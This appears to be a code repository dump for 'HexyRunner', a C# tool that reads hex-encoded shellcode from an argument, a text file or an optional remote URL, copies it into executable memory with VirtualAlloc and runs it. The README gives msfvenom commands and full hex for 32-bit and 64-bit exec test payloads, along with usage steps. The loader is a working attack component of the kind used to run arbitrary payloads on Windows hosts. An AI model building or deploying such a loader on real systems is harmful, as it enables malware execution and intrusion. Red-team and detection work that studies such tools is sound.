├── HexyRunner.cs ├── LICENSE └── README.md /HexyRunner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Linq; 5 | using System.Text.RegularExpressions; 6 | using System.Runtime.InteropServices; 7 | using System.Diagnostics; 8 | 9 | namespace HexyRunner 10 | { 11 | class ShellcodeExec 12 | { 13 | [DllImport("kernel32")] 14 | static extern IntPtr VirtualAlloc(IntPtr p, IntPtr s, IntPtr t, IntPtr m); 15 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 16 | delegate void WindowsRun(); 17 | 18 | private static byte[] Str2ByteArray(string hexString) { 19 | return Enumerable.Range(0, hexString.Length).Where(n => n % 2 == 0).Select( 20 | n => Convert.ToByte(hexString.Substring(n, 2), 16) 21 | ).ToArray(); 22 | } 23 | 24 | public static void Main(string[] args) 25 | { 26 | 27 | string input; 28 | 29 | if (args.Length > 0) input = args[0]; 30 | else { 31 | string fileName = Process.GetCurrentProcess().MainModule.FileName; 32 | fileName = fileName.Substring(0, fileName.LastIndexOf(".")) + ".txt"; 33 | if (File.Exists(fileName)) 34 | input = File.ReadAllLines(fileName)[0].Trim(); 35 | // For download, uncomment the following two lines, and set the URL 36 | // else using (var webClient = new WebClient()) 37 | // input = webClient.DownloadString("http://host/test.txt").Trim(); 38 | } 39 | input = Regex.Replace(input, @"\s+", string.Empty); 40 | // Console.WriteLine(input); 41 | byte[] hexy = Str2ByteArray(input); 42 | 43 | IntPtr pointer = VirtualAlloc(IntPtr.Zero, (IntPtr) hexy.Length, (IntPtr) 0x1000, (IntPtr) 0x40); 44 | Marshal.Copy(hexy, 0, pointer, hexy.Length); 45 | WindowsRun runner = (WindowsRun) Marshal.GetDelegateForFunctionPointer(pointer, typeof(WindowsRun)); 46 | runner(); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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To avoid crashes, finish with a `RET`, or if using msfvenom use `EXIT_FUNC=THREAD` or similar. 15 | 16 | - 32-bit test payload 17 | 18 | ``` 19 | $ msfvenom -p windows/exec CMD=notepad -f hex EXIT_FUNC=THREAD 2>/dev/null 20 | fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd56e6f746570616400 21 | ``` 22 | 23 | - 64-bit test payload 24 | 25 | ``` 26 | $ msfvenom -p windows/x64/exec CMD=calc -f hex EXIT_FUNC=THREAD 2>/dev/null 27 | fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300 28 | ``` 29 | 30 | ## Run 31 | 32 | Usage `HexyRunner ` 33 | 34 | e.g. To execute the following shellcode 35 | 36 | ``` 37 | NOP 38 | NOP 39 | RET 40 | ``` 41 | 42 | Assemble to a hex string, and... 43 | 44 | - Provide as a command line argument: 45 | 46 | ``` 47 | C:\>HexyRunner 9090c3 48 | C:\> 49 | ``` 50 | 51 | - Or, place it into a text file named `[Binary Name without extension].txt`: 52 | 53 | ``` 54 | C:\>echo 9090c3 > HexyRunner.txt 55 | C:\>HexyRunner 56 | C:\> 57 | ``` 58 | 59 | - Or, place a custom URL in the source code and recompile. If no cmd line arg is supplied and no .txt file is present, the shellcode will be downloaded from the hardcoded URL: 60 | 61 | ``` 62 | C:\>HexyRunner 63 | C:\> 64 | ``` 65 | 66 | ## Potential Future Improvements 67 | 68 | - Add other methods to obtain shellcode 69 | - Port to Linux and other operating systems 70 | 71 | ## Credits 72 | - Some code is based on examples given in Gray Hat C# by Brandon Perry 73 | - Inspiration from Alexandre Teyar github.com/AresS31 74 | 75 | ## Contribute 76 | Contributions, feedback and ideas will be appreciated. 77 | 78 | ## License notice 79 | Copyright (C) 2018 Paul Taylor 80 | 81 | See LICENSE file for details. 82 | --------------------------------------------------------------------------------